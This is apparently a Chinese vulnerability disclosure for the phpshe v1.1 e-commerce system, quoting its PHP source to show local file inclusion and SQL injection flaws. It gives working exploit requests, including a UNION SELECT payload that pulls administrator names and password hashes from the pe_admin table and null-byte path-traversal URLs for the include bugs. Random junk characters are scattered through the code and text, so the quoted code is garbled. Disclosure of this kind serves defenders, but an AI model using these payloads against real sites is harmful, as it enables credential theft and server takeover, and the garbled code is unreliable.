phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
6 c* i; |0 f, K: W) g/* Phpshe v1.1 Vulnerability
. R' s( S: T9 T/* ========================
; k& X4 t# p$ ~# n/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
% x& c) A( ^' \3 n# \0×00 整体大概参数传输
3 _- I& X! p0 i

3 L7 Q" B0 [7 D" p% o% `
//common.php
if (get_magic_quotes_gpc()) {
$ k; x, D9 I( R. M4 T6 s4 v2 S$ ?!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
* w$ l9 r$ H! B7 I!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
# E4 l3 _4 ]- ^% X}
else {
8 L& d3 Z% ~* O) e5 G!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
- Y$ z0 r7 u: o8 v! Xsession_start();
' q+ Y) ^. G( a!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
2 m7 J+ P# B  ~1 F) J!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
: l" @$ R# J% w# R  R' `& `
2 u$ ?, Y; w1 J! @4 O5 p0×01 包含漏洞
3 K0 _6 D( b/ V# x+ X8 m$ o
9 c9 Q; c1 x& o/ i9 X5 Y+ q5 h& q
; k3 |- ]' k( U. ?% j& }# }- _2 g//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
3 G! Y/ r6 Y* Ape_result();
4 K/ Y% K' N- k$ s" v+ {$ |?>
//common 文件 第15行开始
" N: }, ^9 B& E* Xurl路由配置
4 v( B; o! l: b; W2 X0 y6 ^$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
3 O8 I5 A* H9 z! h- b& o$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
% r9 m) b# w; I) z$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
  u* L" V; `# s! _' ?: o+ ~

8 H8 U( ~' _% R0 c- @3 J, J# V- g4 S4 A2 C 0×02 搜索注入

6 ]$ |) `, |& `! n<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
1 N3 H4 h' ?# U; a7 M$info = $db->pe_select('category', array('category_id'=>$category_id));
4 O4 \  B8 k& A6 P1 E//搜索
1 E# Q% b) B. x  i$sqlwhere = " and `product_state` = 1";
" V6 S/ F5 k/ a& k1 ]- f) ~pe_lead('hook/category.hook.php');
if ($category_id) {
/ c' r% b; z7 C: ^where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
, t8 [" L$ S- |4 a1 n$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
; X. _3 J9 d& s2 n/ w' N( f$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
  @( l' E+ c$ ~2 @1 J( z! V}
else {
$sqlwhere .= " order by `product_id` desc";
6 P7 w" S6 M. y}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
+ G( R$ o9 ?* [2 N( G, k& E' X- ~//热卖排行
+ a6 C5 @; s! H5 f$ v# {$product_hotlist = product_hotlist();
. D* y- z7 l# D* J) ]$ l) i: V+ Q//当前路径
; u1 o' S) L: d! ^5 [" g& y/ b$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
2 f+ v( T5 t5 u& D( `# |+ ?include(pe_tpl('product_list.html'));
. f9 B# M" p$ V9 v4 y( w0 u2 b//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
8 N* |% _3 |6 {1 X- ^+ c$ }{
0 p' l5 D" D5 J8 C) ~//处理条件语句
9 o' ^! l! C5 g, o% s$ L- C$sqlwhere = $this->_dowhere($where);
4 u+ n( X- ]# `1 T% yreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
, K; h' [0 g2 M6 e$ [//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
  ^1 R7 T9 u  [3 w6 p( p* V! _
0×03 包含漏洞2

  o8 {! |/ c( u3 }7 u; T3 s/ S<code id="code3">

//order.php

case 'pay':

; l0 d$ f# f' f6 \& ~$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

% q1 j* _: a& Z! \# Y) j6 Jif ($k == 'bank') {

; ?3 c) |4 ^4 O+ T. |* }( Y$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

0 a# D; p0 N2 {: m# P' W" k8 l}

; p. H" o7 T* H! p7 r$ [$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

% K- f% S, U( n!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

7 C$ _/ m' V! _' e6 O& p! [- Y& K8 sif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

# a4 O5 n5 p  G3 a) s( p" ?}

echo '正在为您连接支付网站，请稍后...';

1 x+ |9 W2 a% q# q0 U6 y. ainclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

" n2 j; k1 p1 ?& z( R}//当一切准备好的时候就可以进行"鸡肋包含了"

' [+ U2 o4 P: B& q  Yelse {

1 `% D3 |; L  k/ Ope_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>